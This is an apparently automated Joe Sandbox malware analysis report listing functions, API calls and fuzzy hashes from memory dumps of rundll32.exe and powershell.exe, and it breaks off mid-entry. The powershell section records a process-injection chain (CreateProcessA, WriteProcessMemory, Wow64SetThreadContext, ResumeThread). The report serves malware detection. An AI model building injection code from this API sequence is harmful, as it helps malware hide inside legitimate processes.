Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f4ad979e04fb322c4f3e50b016b2400259427ec565b6ecb94d03a8251a5fe29c
Instruction ID: ecb1424a08175ba16312801e208a0f66b68f04addee6207019c8bf1a5a94125c
Opcode Fuzzy Hash: f4ad979e04fb322c4f3e50b016b2400259427ec565b6ecb94d03a8251a5fe29c
Instruction Fuzzy Hash: 9B0128B211C711AEA64426F55CC865B3A5CEF47F783200629ED20961E0EF71C8408E50

Function 6E9B7136 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6E9B7152

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 96dea70dbb67acff7cdfd227918bc75005dc79a57b36e044078314c6b2b7b0ec
Instruction ID: 78ff3708298f19f8692134195727c5b3b7ed23311ca71f7db425a454cdcb9d8a
Opcode Fuzzy Hash: 96dea70dbb67acff7cdfd227918bc75005dc79a57b36e044078314c6b2b7b0ec
Instruction Fuzzy Hash: 3D218EB1604205AFDB009FE5CC8499B77BEAF853687108F29E924DB190EB30ED118F70

Function 6E9B41F3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,8253B637,?,?,00000000,6E9BEC9D,000000FF,?,6E9B418D,00000000,?,6E9B4161,6E9B1014), ref: 6E9B4228
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6E9B423A
FreeLibrary.KERNEL32(00000000,?,?,00000000,6E9BEC9D,000000FF,?,6E9B418D,00000000,?,6E9B4161,6E9B1014), ref: 6E9B425C

Strings

CorExitProcess, xrefs: 6E9B4232
mscoree.dll, xrefs: 6E9B4221

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: fc82504d600a3667d7a6525173468826657149cc005e179e4a9ba1113eca129f
Instruction ID: 2175c024cf1595cad79d4847aee25f90f7d6e6c660edaf4c7957240c874319f9
Opcode Fuzzy Hash: fc82504d600a3667d7a6525173468826657149cc005e179e4a9ba1113eca129f
Instruction Fuzzy Hash: 35011275918A19EBDF029F94CC08BAF7BBCFF45719F104625E921A6290DB74D900DE50

Function 6E9BA6E5 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6E9BA76A
__alloca_probe_16.LIBCMT ref: 6E9BA833
__freea.LIBCMT ref: 6E9BA89A

Part of subcall function 6E9B9163: HeapAlloc.KERNEL32(00000000,6E9B76AF,6E9B8E7D,?,6E9B76AF,00000220,?,?,6E9B8E7D), ref: 6E9B9195

__freea.LIBCMT ref: 6E9BA8AD
__freea.LIBCMT ref: 6E9BA8BA

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: e0a4794faa140e5f59af17aa68da241a0f929dc0c407e8395c39a2c00ba881f0
Instruction ID: cf736c632554f059c1f11c4ca147053dde50b1e1d198450b873a375fcff86882
Opcode Fuzzy Hash: e0a4794faa140e5f59af17aa68da241a0f929dc0c407e8395c39a2c00ba881f0
Instruction Fuzzy Hash: 05519372A0020AAFEB558EE5CC84EEB36ADDF95714B110929FD24D6650E7B5CC11CEA0

Function 6E9B2EB4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6E9B2E65,00000000,?,00000001,?,?,?,6E9B2F54,00000001,FlsFree,6E9BFBE0,FlsFree), ref: 6E9B2EC1
GetLastError.KERNEL32(?,6E9B2E65,00000000,?,00000001,?,?,?,6E9B2F54,00000001,FlsFree,6E9BFBE0,FlsFree,00000000,?,6E9B2431), ref: 6E9B2ECB
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6E9B2EF3

Strings

api-ms-, xrefs: 6E9B2ED8

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 10ff7841a6d2d4a5974f5fd6865342c5ac546652d815690011ceac605685170d
Instruction ID: d8e229e63a1667efc60e3f90ae96cf2dcc2a79fdceede60684fb296ee430c78b
Opcode Fuzzy Hash: 10ff7841a6d2d4a5974f5fd6865342c5ac546652d815690011ceac605685170d
Instruction Fuzzy Hash: DAE01A71648606B6EF101AA2DC05B4B3E69EF01B49F208420F90CE84A5EB72D4509954

Function 6E9BAE87 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(8253B637,00000000,00000000,?), ref: 6E9BAEEA

Part of subcall function 6E9B7D04: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E9BA890,?,00000000,-00000008), ref: 6E9B7D65

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6E9BB13C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6E9BB182
GetLastError.KERNEL32 ref: 6E9BB225

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 10c881555a1b1bd4c015629acb6713ab718b52aac53986c25d12b5de10af1c16
Instruction ID: 357750fd07c7cbe4e93f735867e7b3b0f8ae60505e709fc36b08a4a22db3a10b
Opcode Fuzzy Hash: 10c881555a1b1bd4c015629acb6713ab718b52aac53986c25d12b5de10af1c16
Instruction Fuzzy Hash: 21D169B5D042499FDB05CFE8C8D0AEEBBB9EF59304F14452AE825EB285E630E941CF50

Function 6E9B3038 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6E9B30FF
___AdjustPointer.LIBCMT ref: 6E9B3122
___AdjustPointer.LIBCMT ref: 6E9B31BE

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: dc8d79c544b212f9714f70306e6ed1cf1182b48fd819aa8410cc8c6b0cb075bc
Instruction ID: b904a2aaa6d5bec3eeeed0f5aecf1be3354354367e75cdaba68cc0e1ee3f372d
Opcode Fuzzy Hash: dc8d79c544b212f9714f70306e6ed1cf1182b48fd819aa8410cc8c6b0cb075bc
Instruction Fuzzy Hash: C451D0B2A05206EFEB15CFE5D858BAB73ACEF45710F10492DE91547290E7B1E880CF90

Function 6E9B6AA6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6E9B7D04: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E9BA890,?,00000000,-00000008), ref: 6E9B7D65

GetLastError.KERNEL32 ref: 6E9B6B0A
__dosmaperr.LIBCMT ref: 6E9B6B11
GetLastError.KERNEL32(?,?,?,?), ref: 6E9B6B4B
__dosmaperr.LIBCMT ref: 6E9B6B52

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 4bb1455f9f55fd9ccf048091db378758218ed83833cbe5d962d4a16c5a55b28d
Instruction ID: 6f3e8642d07cf336b6bfbd6987808b6f777d71f1d11116abd7589f6f65b4fc5e
Opcode Fuzzy Hash: 4bb1455f9f55fd9ccf048091db378758218ed83833cbe5d962d4a16c5a55b28d
Instruction Fuzzy Hash: 1A218071A28215AFDB109FE5C880C9BBBBEEF853687108929E815D7251DB70FC00CFA0

Function 6E9B7DA7 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6E9B7DAF

Part of subcall function 6E9B7D04: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E9BA890,?,00000000,-00000008), ref: 6E9B7D65

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E9B7DE7
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E9B7E07

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f48a52a2aaa70c0af7ed3bc056b5353229659cc832d89eb0f2d7c87e43e899a8
Instruction ID: 8a779e42204a22ad12be876e55a3f56f5594b4523e0ff10f7ed146496a11c868
Opcode Fuzzy Hash: f48a52a2aaa70c0af7ed3bc056b5353229659cc832d89eb0f2d7c87e43e899a8
Instruction Fuzzy Hash: F411A1F5919A15BFAB0216F68C8DDAF296DDED669CB100B25F804D1194EF70DD0089B0

Function 6E9BCC26 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000), ref: 6E9BCC3D
GetLastError.KERNEL32(?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000,?,?,?,6E9BB81C,00000000), ref: 6E9BCC49

Part of subcall function 6E9BCC0F: CloseHandle.KERNEL32(FFFFFFFE,6E9BCC59,?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000,?,?), ref: 6E9BCC1F

___initconout.LIBCMT ref: 6E9BCC59

Part of subcall function 6E9BCBD1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6E9BCC00,6E9BC3C5,?,?,6E9BB279,?,00000000,00000000,?), ref: 6E9BCBE4

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000,?), ref: 6E9BCC6E

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 5fd6f526e679257cd477c52ae3a84d3fe211bd9b04c1842cba9458cba5c34c7a
Instruction ID: 5bb1cdbfed7910f3db9c64ffc3b1423c799823a0aa05f2997a177078c5abf71e
Opcode Fuzzy Hash: 5fd6f526e679257cd477c52ae3a84d3fe211bd9b04c1842cba9458cba5c34c7a
Instruction Fuzzy Hash: B5F01C36454514BBCF122FD5CC089DB3F6AEF4ABA4B148810FA1899120C632C920DBA1

Function 6E9B3634 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6E9B3659

Strings

RCC, xrefs: 6E9B3673
MOC, xrefs: 6E9B366B

Memory Dump Source

Source File: 00000004.00000002.2392963540.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000004.00000002.2392937254.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393019965.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2393046183.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e9b0000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: c9825f1e15f7eea5c8ec5168fb7bf7370ad903065a06b09d03d8131d82b49c60
Instruction ID: eb3cad915bf845ea954d5c9dee19aaa96e95efd47c032e992fa43fbec4dcadaf
Opcode Fuzzy Hash: c9825f1e15f7eea5c8ec5168fb7bf7370ad903065a06b09d03d8131d82b49c60
Instruction Fuzzy Hash: A641247190020AEBDF06CFA8CD89AEE7BBAEF48304F148199E914A7221D375E951DF51

Analysis Process: powershell.exePID: 5512, Parent PID: 4888COMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	23
Total number of Limit Nodes:	3

Executed Functions

Function 034C68D5 Relevance: 1.7, APIs: 1, Instructions: 248
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 034C6B16

Memory Dump Source

Source File: 0000000D.00000002.2319171336.00000000034C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_34c0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4b4d9ae3b865a139538b072774c54fdf2fa1a87bec18154be268ef1d5a7f482a
Instruction ID: f008eefa26a5b729d7ffea3aa8859c9a811594dced92492bad1fbbcb8cdc4d64
Opcode Fuzzy Hash: 4b4d9ae3b865a139538b072774c54fdf2fa1a87bec18154be268ef1d5a7f482a
Instruction Fuzzy Hash: 36A16C75D10259DFEB54CF68C9417DEBBB2BF48310F0981AAD808AB240DB799981CF95

Function 034C68E0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 034C6B16

Memory Dump Source

Source File: 0000000D.00000002.2319171336.00000000034C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_34c0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: cec924089d6fbc363858d467efae4a93d05e9cf941d5d7ef61b7ef49d5078e88
Instruction ID: 6ba20723e7da05205433007bd59987769c2069726f7a7c1ad4d89f958140a539
Opcode Fuzzy Hash: cec924089d6fbc363858d467efae4a93d05e9cf941d5d7ef61b7ef49d5078e88
Instruction Fuzzy Hash: 63916C75D10259DFEB64CF69C8417DEFBB2BF48310F0981AAD808AB240DB799981CF95

Function 034C6651 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 034C66E8

Memory Dump Source

Source File: 0000000D.00000002.2319171336.00000000034C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_34c0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 90c61be00493e207e76d3a8b117f0e67d350f5d2c0607f6143ae32e9f6e844b8
Instruction ID: 74f7ec4a4b7dd62a6e81edfadc837b3f8145bb631456e22da27bb6f5ede3caea
Opcode Fuzzy Hash: 90c61be00493e207e76d3a8b117f0e67d350f5d2c0607f6143ae32e9f6e844b8
Instruction Fuzzy Hash: D221357690034ADFDB10CFA9C981BDEBBF5FF48320F14842AE918A7250D7789950CBA5

Function 034C6658 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 034C66E8

Memory Dump Source

Source File: 0000000D.00000002.2319171336.00000000034C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_34c0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 402a4c972cae711f85a085102ead3a1bde01f6cd4f7bdada89a82234f1220128
Instruction ID: 771f7adf906f84e3c2bb8053f4cbbdd9cf9c9197315ea38193c5f6bcf1c35801
Opcode Fuzzy Hash: 402a4c972cae711f85a085102ead3a1bde01f6cd4f7bdada89a82234f1220128
Instruction Fuzzy Hash: 01212875900349DFDB10CFA9C981BDEBBF5FF48320F14842AE518A7250D7789550CBA5

Function 034C64B9 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 034C653E

Memory Dump Source

Source File: 0000000D.00000002.2319171336.00000000034C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_34c0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c6277f4901f7bc18ab1bae438c338c847320f1870cc0df2ede1e6d4db0626f86
Instruction ID: 019e311f8cf49d24a773d5c38608e4f5aa7dc58f438d05cefaeedcf6b8045449
Opcode Fuzzy Hash: c6277f4901f7bc18ab1bae438c338c847320f1870cc0df2ede1e6d4db0626f86
Instruction Fuzzy Hash: 0E2178759003499FDB50CFAAC4817EEFBF4AF48320F14802ED559A7241DB78A544CFA5

Function 034C6408 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(00000007), ref: 034C6472

Memory Dump Source

Source File: 0000000D.00000002.2319171336.00000000034C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_34c0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2480192637832c67afb0f42b2a47cc0a4a975318ad6addce3365ad2903edadf4
Instruction ID: 90de9f1c40d68f47d87f819ffeec3085e0c83757b5c47bf2dc0ef4b392fa2673
Opcode Fuzzy Hash: 2480192637832c67afb0f42b2a47cc0a4a975318ad6addce3365ad2903edadf4
Instruction Fuzzy Hash: 78219AB580034ACFDB10DFAAC5457EEFBF4AF88324F24841ED115AB210CB795540CBA9

Function 034C64C0 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 034C653E

Memory Dump Source

Source File: 0000000D.00000002.2319171336.00000000034C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_34c0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8d50e2b39bf0ec179fe2de7e279085011f4256d5f9c815d12399ee708456deb9
Instruction ID: b56155a48c03844b053aa2520368ddfa1c60d54c1b964e7a89c2028b667313fa
Opcode Fuzzy Hash: 8d50e2b39bf0ec179fe2de7e279085011f4256d5f9c815d12399ee708456deb9
Instruction Fuzzy Hash: 942137759003498FDB50CFAAC4857AEBBF4AF88324F24842AD519A7241DB789944CFA5

Function 034C6410 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(00000007), ref: 034C6472

Memory Dump Source

Source File: 0000000D.00000002.2319171336.00000000034C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_34c0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: db1bccc9becb9beef592f35cfb5c596075a63a4fc51d0cc69cd49c4f00f4d0a5
Instruction ID: 8868b9174275a1edb122fc22f7aba3a581880e065e831200c0f7d1811f2e9b03
Opcode Fuzzy Hash: db1bccc9becb9beef592f35cfb5c596075a63a4fc51d0cc69cd49c4f00f4d0a5
Instruction Fuzzy Hash: C1113AB1D003498FDB10DFAAC4457EFFBF4AF88724F24841AD519A7240CB79A540CBA9

Function 07CD2A88 Relevance: .3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.2424793166.0000000007CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66cc08898c841b22998036a236d880fac517c0cb26ff7af16b04ae3df5e132e
Instruction ID: de44b2e3e24d924a41dcf922d74fa82085a41c113033abf1450cf95360a05f3d
Opcode Fuzzy Hash: c66cc08898c841b22998036a236d880fac517c0cb26ff7af16b04ae3df5e132e
Instruction Fuzzy Hash: D9912971B00205EFDB258F69C854B6ABBA2FFC9311F14C46AEA158F291CBB1DD41CB91

Function 07CD2760 Relevance: .3, Instructions: 255
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.2424793166.0000000007CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e8bb73845642ba23c5ae9a9f922e379304d57a358114a47dda3dffd8cc98e69
Instruction ID: 832add7acd7b1cd4f04443f287ad448f9e124adf49f836bd16f0567ca2db825f
Opcode Fuzzy Hash: 4e8bb73845642ba23c5ae9a9f922e379304d57a358114a47dda3dffd8cc98e69
Instruction Fuzzy Hash: BE81E9B6B04216CFC725DB69D8846AAFBE2FFC5220B14C0ABC649CB255DB31CD45C761

Function 07CD2A83 Relevance: .1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.2424793166.0000000007CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4953e427fa98abe321ba44ae55dfd6d78bedb30261b601227106827bdbc3f65
Instruction ID: e6488078ee720651150c74cf864657e2317ae0488749a566e9f13cc98e4657fb
Opcode Fuzzy Hash: f4953e427fa98abe321ba44ae55dfd6d78bedb30261b601227106827bdbc3f65
Instruction Fuzzy Hash: 4B4141B1B00205EFDB24CF15C584B6AB7A2FF89711F188096EA199F294C7B1ED81CB91

Function 07CD2743 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2424793166.0000000007CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d5ad2b974d0f349efc9ae52ea526c1ccc9cd141e96402ad80c4f9974b637899
Instruction ID: 442a8d56e30d5f08c609278c4c8ede7ce7591e7de42a511d1f5937e2f08341ac
Opcode Fuzzy Hash: 9d5ad2b974d0f349efc9ae52ea526c1ccc9cd141e96402ad80c4f9974b637899
Instruction Fuzzy Hash: A02150B2A04206CFCB258F65C980A69BBF5BF45211B06C0B7D648CB161D335CE44CBA1

Function 0341D006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

